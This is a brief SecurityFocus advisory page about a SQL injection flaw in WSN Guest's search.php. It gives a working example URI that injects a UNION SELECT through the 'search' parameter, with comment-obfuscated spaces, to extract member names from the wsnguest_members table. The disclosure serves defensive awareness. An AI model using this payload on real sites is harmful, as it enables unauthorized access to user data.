Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Vista

WSN Guest 'search.php' SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/search.php?filled=1&action=advanced&whichtype=entries&searchfields[0]=ownerid&search=999/**/union/**/select/**/name%20text,1,2,3,4,5,6,7,8,9,10,11,12,13/**/from/**/wsnguest_members







 

Privacy Statement
Copyright 2008, SecurityFocus